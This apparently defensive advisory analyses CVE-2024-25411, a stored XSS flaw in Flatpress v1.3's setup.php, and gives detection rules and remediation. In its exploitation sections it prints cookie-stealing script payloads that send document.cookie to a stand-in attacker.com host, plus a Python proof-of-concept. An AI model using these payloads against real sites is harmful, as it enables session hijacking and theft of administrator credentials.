CVE-2024-25411

Executive Summary

CVE-2024-25411 identifies a stored cross-site scripting (XSS) vulnerability in Flatpress v1.3, a flat-file content management system. The flaw resides in the setup.php script, where the username parameter is not properly sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript or HTML into the username field during initial setup, which will then execute in the context of any administrator or user who views the user management page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, but no official patch has been released by the vendor as of this analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for any instance using the default setup process.

Supply Chain & Package Security

Flatpress is a PHP-based CMS distributed via GitHub and its official website. The vulnerability exists in the core setup script, not in a third-party package. However, administrators should verify the integrity of their Flatpress installation by checking file hashes against the official repository. No known malicious packages or compromised dependencies are associated with this CVE.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Base Score: 6.1 (Medium)

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must visit the affected page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the simplicity of exploitation make this a credible threat for unpatched Flatpress installations.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the setup.php script. During the initial configuration of Flatpress, the application prompts the administrator to create a username. The input is stored in a configuration file (likely fp-config.php or a similar flat-file database) without proper sanitization or output encoding. When the user management page or any other administrative interface renders this username, the injected payload is executed in the browser of any user viewing that page.

Root Cause: The username parameter is not filtered or escaped before being written to the configuration file. The application does not use htmlspecialchars() or similar functions when outputting the username in the admin panel.

Attack Vector: An attacker with access to the setup page (which is typically accessible only during initial installation, but may be left open or re-accessible via a reset) can inject a payload such as:

<script>alert('XSS')</script>

or a more malicious payload that steals session cookies:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Impact: Successful exploitation allows the attacker to:

• Steal administrator session cookies.
• Perform actions on behalf of the administrator (e.g., create new admin users, modify content).
• Deface the site.
• Redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Flatpress v1.3 - setup.php):

// Vulnerable: No sanitization of username
$username = $_POST['username'];
// ... later written to config file
$config['username'] = $username;

Patched Code (Hypothetical fix):

// Patched: Sanitize input
$username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8');
// ... later written to config file
$config['username'] = $username;

Explanation: The vulnerable code directly assigns the user-supplied value to the configuration array without any filtering. The patched code uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution when the value is rendered.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to the Flatpress setup page (e.g., http://target/setup.php).
• The setup page must be accessible (not locked after initial setup).

Exploit Steps:

1. Navigate to http://target/setup.php.
2. In the username field, inject a payload:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Complete the setup process (or simply submit the form if the page allows partial submission).
4. Wait for an administrator to view the user management page (e.g., http://target/admin.php?p=users).
5. The injected script executes, sending the admin's session cookie to the attacker's server.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target/setup.php"
payload = "<script>alert('XSS')</script>"

data = {
    "username": payload,
    "password": "test",
    "email": "test@test.com"
}

response = requests.post(target, data=data)
print("Payload sent. Check admin panel for XSS execution.")

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP requests to setup.php for unusual parameters.
• Look for <script> tags or event handlers in POST data.
• Use WAF rules to block common XSS patterns.

Defense:

• Immediately restrict access to setup.php after initial configuration (e.g., via .htaccess or by deleting the file).
• Apply input validation and output encoding as shown in the patched code.
• Use Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /setup.php containing <script> tags or onerror/onload event handlers.
• Outbound connections to unknown domains from the Flatpress server (potential data exfiltration).

File IOCs:

• Modified configuration files (e.g., fp-config.php) containing JavaScript payloads in the username field.
• Suspicious entries in the user database (flat-file) with HTML/JavaScript content.

Log IOCs:

• Web server logs showing requests to /setup.php with unusual parameters.
• Error logs indicating failed attempts to execute JavaScript (if CSP is enabled).

Detection Engineering

YARA Rule

rule CVE_2024_25411_Flatpress_XSS {
    meta:
        description = "Detects Flatpress setup.php XSS payload in username parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25411"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $payload3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Flatpress CVE-2024-25411 XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in HTTP requests to Flatpress setup.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/setup.php'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in username (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25411 Flatpress XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/setup.php"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access to setup.php: Add the following to .htaccess:

   <Files "setup.php">
       Require all denied
   </Files>
   

   Or delete the file after initial setup.
2. Apply input validation: Manually patch setup.php to sanitize the username parameter using htmlspecialchars().
3. Implement CSP: Add a Content Security Policy header to mitigate XSS:

   Content-Security-Policy: default-src 'self'; script-src 'self';
   

Long-term Fix:

• Upgrade to a patched version of Flatpress once available.
• Monitor the Flatpress GitHub repository for official patches.
• Consider migrating to a more actively maintained CMS.

Workaround:

• If patching is not possible, use a Web Application Firewall (WAF) to block XSS payloads in POST requests to setup.php.

Valters IT